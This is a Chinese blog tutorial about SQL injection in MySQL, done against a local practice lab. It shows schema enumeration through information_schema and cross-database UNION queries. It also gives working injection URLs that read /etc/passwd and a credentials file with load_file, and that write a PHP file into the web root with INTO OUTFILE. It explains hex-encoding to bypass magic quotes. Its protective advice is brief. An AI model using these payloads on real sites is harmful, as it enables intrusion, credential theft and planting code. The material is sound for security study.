SQL注入-跨站注入-主机文件读写

最新推荐文章于 2024-05-24 08:55:45 发布
最新推荐文章于 2024-05-24 08:55:45 发布
阅读量1.1k 收藏
点赞数
分类专栏： sql注入 文章标签： 网络安全 web安全 安全 sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52149675/article/details/123857201
版权

SQL注入-跨站注入-主机文件读写

1. information_schema

information_schema 数据库跟 performance_schema 一样，都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析，而 information_schema 用于存储数据库元数据(关于数据的数据)，例如数据库名、表名、列的数据类型、访问权限等。

information_schema 中的表实际上是视图，而不是基本表，因此，文件系统上没有与之相关的文件。

  • schemata 表

    mysql> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | challenges         | gbk                        | gbk_chinese_ci         | NULL     |
| def          | mysql              | latin1                     | latin1_swedish_ci      | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | security           | gbk                        | gbk_chinese_ci         | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
5 rows in set (0.00 sec)

    可以看到这个表中储存着这个连接中的所有数据库

  • TABLES 表

    存储数据库中的表信息（包括视图），包括表属于哪个数据库，表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。

    mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5;
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME                            |
+---------------+--------------------+---------------------------------------+
| def           | information_schema | CHARACTER_SETS                        |
| def           | information_schema | COLLATIONS                            |
| def           | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY |
| def           | information_schema | COLUMNS                               |
| def           | information_schema | COLUMN_PRIVILEGES                     |
+---------------+--------------------+---------------------------------------+
5 rows in set (0.00 sec)

  • COLUMNS 表

    存储表中的列信息，包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果

    mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5;
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA       | TABLE_NAME     |
+---------------+--------------------+----------------+
| def           | information_schema | CHARACTER_SETS |
| def           | information_schema | CHARACTER_SETS |
| def           | information_schema | COLLATIONS     |
| def           | information_schema | COLLATIONS     |
| def           | information_schema | COLLATIONS     |
+---------------+--------------------+----------------+

  • USER_PRIVILEGES 表

    mysql> SELECT * FROM USER_PRIVILEGES limit 0,5;
+--------------------+---------------+----------------+--------------+
| GRANTEE            | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def           | SELECT         | YES          |
| 'root'@'localhost' | def           | INSERT         | YES          |
| 'root'@'localhost' | def           | UPDATE         | YES          |
| 'root'@'localhost' | def           | DELETE         | YES          |
| 'root'@'localhost' | def           | CREATE         | YES          |
+--------------------+---------------+----------------+--------------+
5 rows in set (0.00 sec)

2.跨站攻击

两个网站搭建在同一台服务器上都在使用MYsql数据库，我们可以通过在一个网站上的sql注入点访问另一个网站所关联的数据库从而得到我们想要的信息，但是这个必须建立在注入sql点的sql数据库权限为root等高级用户

在靶机上准备数据库，模拟在另一个网站所关联的数据库，我们这里访问的网站所关联的数据库是 security

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| book               |
| challenges         |
| mysql              |
| performance_schema |
| security           |
+--------------------+
6 rows in set (0.00 sec)

mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book           |
+----------------+
1 row in set (0.00 sec)

mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field           | Type             | Null | Key | Default | Extra          |
+-----------------+------------------+------+-----+---------+----------------+
| book_id         | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| book_title      | varchar(100)     | NO   |     | NULL    |                |
| book_author     | varchar(40)      | NO   |     | NULL    |                |
| submission_date | date             | YES  |     | NULL    |                |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.02 sec)

在注入点我们可以

[http://192.168.222.131/Less-2/?id= 1 and 1=2 union select 1,group_concat(SCHEMA_NAME%20),3 from information_schema.schemata](http://192.168.222.131/Less-2/?id= 1 and 1=2 union select 1,group_concat(SCHEMA_NAME%20),3 from information_schema.schemata)

在这里插入图片描述

在查看到所有的数据库名字，通过得到的数据库book名字得到表名

在上一篇里面有写：

https://blog.csdn.net/m0_52149675/article/details/123804038?spm=1001.2014.3001.5501

查看到表book里面的所有信息，我们可以依据这个得到另一个网站上的管理员数据，从而得到我们需要的权限

[http://192.168.222.131/Less-2/?id=1%20and%201=2 union select 1,group_concat(book_title),group_concat(book_author) from book.book](http://192.168.222.131/Less-2/?id=1%20and%201=2 union select 1,group_concat(book_title),group_concat(book_author) from book.book)

在这里插入图片描述

3.文件读写函数

参考地址：https://www.sqlsec.com/2020/11/mysql.html

load_file 文件读取

into outfile 或into dumpfile 文件写入

查询是否有写入的权限

mysql>  show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)
Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
空不限制目录

我们这里不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL，这个情况下不可以写文件

  • 文件读取

mysql> select load_file('/etc/passwd')\G;
*************************** 1. row ***************************
load_file('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

1 row in set (0.01 sec)

常见的load_file()读取的敏感信息：https://blog.csdn.net/weixin_30292843/article/details/99381669

在网站上读取信息：http://192.168.222.131/Less-2/?id=1%20and%201=2%20union%20select%201,load_file(%27/etc/passwd%27),3

在这里插入图片描述

读取数据配置文件：http://192.168.222.131/Less-2/?id=-1%20union%20select%201,load_file(%27/var/www/html/sql-connections/db-creds.inc%27),3

在这里插入图片描述

  • 文件写入

mysql>  select '<?php phpinfo() ?>' into outfile './php';
Query OK, 1 row affected (0.00 sec)

mysql> exit
Bye
root@62153ed301ab:/# cat /var/lib/mysql/php
<?php phpinfo() ?>

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/php';
ERROR 1 (HY000): Can't create/write to file '/var/www/php' (Errcode: 13)

在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。

对目录修改权限测试

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
ERROR 1 (HY000): Can't create/write to file '/var/www/html/test.php' (Errcode: 13)
mysql> \q

root@62153ed301ab:/# chmod -Rf 777 /var/www/html
root@62153ed301ab:/# mysql

mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
Query OK, 1 row affected (0.01 sec)

mysql> select load_file('/var/www/html/test.php');
+-------------------------------------+
| load_file('/var/www/html/test.php') |
+-------------------------------------+
| <?php phpinfo() ?>
                 |
+-------------------------------------+
1 row in set (0.00 sec)

在网页上：

http://192.168.222.131/Less-2/?id=-1%20union%20select%201,%27%3C?php%20phpinfo()%20?%3E%27,3%20into%20outfile%20%27/var/www/html/test.php%27%20–+

这里的 --+ 注释掉后面的语句 如一些自动加上的 limit 0,1

在这里插入图片描述

查看：

http://192.168.222.131/Less-2/?id=-1%20union%20select%201,load_file(%27/var/www/html/test.php%27),3

在这里插入图片描述

4.魔术引号

在一个项目中，魔术引号若是打开的话，所有的反斜线（\）、单引号（’）、双引号（"）、NULL 字符都会被自动加上一个反斜线进行转义，这和 addslashes() 作用完全相同。

正确地接收和读取数据，从而正确地执行SQL语句，防止恶意的SQL注入。

由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示

在这里插入图片描述

phpstudy环境中PHP版本选择为5.2.17时在php.ini文件中魔术引号的开关

在这里插入图片描述

绕过方法

采用**hex(16进制)**编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。

编码软件:小葵

在这里插入图片描述

相关防护

在这里插入图片描述

int函数

对输入的数字进行判断是否

if(is_int($id)){
	$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
	echo $sql;
	$result=mysql_query($sql);
}else{
	echo 'ni shi sha?';
}

防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。

crabin_lpb
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
SQL注入读写文件
m0_56578216的博客
08-24 1875
SQL注入有直接SQL注入，也有文件读写时的注入，后者的主要目的在于获取webshell或盗取重要文件。web 应用在服务器上的绝对路径，一般情况下是不知道的。但是系统敏感文件的路径是固定的。secure_file_priv=null，不允许导入导出操作。secure_file_priv=目录名，只允许此目录及子目录下导入导出操作。secure_file_priv= ，不对导入导出操作做限制。
SQL注入之MSSQL注入MSSQL⼿⼯注⼊
12-29
### SQL注入之MSSQL手工注入详解 #### 一、SQL注入概述与MSSQL手工注入背景 SQL注入是一种常见的安全漏洞，攻击者通过构造恶意的SQL语句，利用应用程序未进行有效输入验证的漏洞来执行非法操作。本文将重点讨论...
跨站式SQL注入技巧
weixin_33828101的博客
03-17 137
学习如何从数据库中获取想要获得的内容，首先，我们先看看SQL注入的一般步骤： 第一节、SQL注入的一般步骤 首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。 其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种： 　　(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下： 　　Select * from 表名 where...
SQL注入中的文件读写操作：技术解析与防范策略
最新发布
weixin_43822401的博客
05-24 514
SQL注入攻击是网络世界中的一个严峻问题，它允许攻击者通过构造特殊的SQL语句来操纵数据库。在某些高级的SQL注入攻击中，攻击者不仅能获取数据，还能读取和写入服务器上的文件。本文将深入探讨SQL注入中的文件读写操作，提供详细的技术解析和实用的防范策略。SQL注入文件读写是指攻击者利用SQL注入漏洞，读取或写入服务器上的文件。这种攻击可以用于窃取敏感信息、上传恶意代码或实现持久化控制。
跨站式SQL注入攻击
无轩居 (Home of vip)
10-18 1668
前一阶段，在尝试攻击一个网站的时候，发现对方的系统已经屏蔽了错误信息，用的也是普通的帐号连接的数据库，系统也是打了全部的补丁这样要攻击注入是比较麻烦的。。因此我自己搞了一种“跨站式SQL注入”。。 　　思路如下，既然你不显示错误信息，我能不能让你显示到别的地方呢？让SQL把错误写入别的地方。。。 　　既然是研究阶段，我们最好不要直接注入网站，而是首先用查询分析器来分析这个方法。。 　　第一个想法：
SQL 注入——文件读写
weixin_51559599的博客
11-07 147
当前（连接）数据库的用户具有文件读写权限。数据库的权限粒度，某个库中某个表某个用户是否有增删改查权限。
SQL注入之文件读写
永远是少年
06-27 2225
今天继续给大家介绍渗透测试相关知识，本文主要内容是SQL注入之文件读写。 一、SQL注入文件读写函数 二、SQL注入文件读写之secure_file_priv参数 三、SQL注入文件路径获取 四、SQL注入文件读写之魔术引导开关......
PHP+MySQL网站-主机域名类-易捷域名查询系统v1.0_ej99domainv1.0.zip
11-12
安全性方面，可能涉及SQL注入防护、XSS攻击防御等，以保障系统的安全。 总的来说，"易捷域名查询系统v1.0_ej99domainv1.0"结合了PHP的动态处理能力和MySQL的数据存储能力，实现了高效、稳定的域名查询服务。对于...
lighttpd-1.4.20源代码
02-27
lighttpd-1.4.20版本注重安全性，例如支持Suhosin、mod_security等安全模块，防止SQL注入、XSS攻击等。此外，还有对CGI脚本的安全限制，防止权限滥用。 8. **性能优化** 为了优化性能，lighttpd引入了FastCGI、...
vc++ 读写mysql 详细教程
05-02
为了进一步优化，你还可以考虑使用预编译的`PreparedStatement`对象，提高代码的可读性和安全性，避免SQL注入等风险。同时，如果需要异步操作或更复杂的事务管理，可以研究使用`CallableStatement`和`Transaction`类...
php-practice：学习PHP和MySQL
02-13
3. **SQL注入防护**：除预处理语句外，还可使用参数绑定等手段防止SQL注入。 **性能优化** 1. **缓存技术**：利用memcached或APC等工具进行数据缓存，减少数据库访问。 2. **代码优化**：避免冗余代码，合理使用...
XSS跨站攻击，注入代码整理，大全
03-03
XSS跨站攻击，注入代码整理,希望大家支持
5-sql注入之文件读写
m0_62978778的博客
01-05 709
高版本的MYSQL添加了一个新的特性secure_file_priv，该选项限制了mysql导出文件的权限。一般可以与union中做为一个字段使用，查看config.php(即mysql的密码)，apache配置…就是利用文件的读写权限进行注入，它可以写入一句话木马，也可以读取系统文件的敏感信息。outfile 后面不能接0x开头或者char转换以后的路径，只能是单引号路径。后面的路径可以是单引号，0x，char转换的字符。报错显示，遗留文件，漏洞报错，平台配置文件等。代表只能对该路径下文件进行读写。
【SQL注入-文件读写】文件的读取+写入：函数、使用方法
05-30 9165
【SQL注入】文件读写
注入mysql跨库查询,父母网某站Client-IP的SQL注入（DBA权限）导致可跨库查询
weixin_34275305的博客
03-27 226
faxian.fumu.com注入：GET /include/toupiao.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Client-IP: *Cookie: 6yBB_fa86...
MySQL注入之跨站注入
DNA_A的博客
07-18 147
在MySQL5.0以上版本中，mysql存在一个自带数据库名为information_schema，它是一个存储记录有所有数据库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息
《安全参考》2013年3月刊 - 信息安全深度剖析
第一章节中，深入浅出地介绍了SQL注入的各个方面，如PHP与MySQL的注入实例，如何利用load_file函数读取文件，通过PHP+MySQL注入读写文件到虚拟主机，以及针对编码不匹配导致联合查询注入问题的解决策略。这些内容...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

crabin_lpb

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值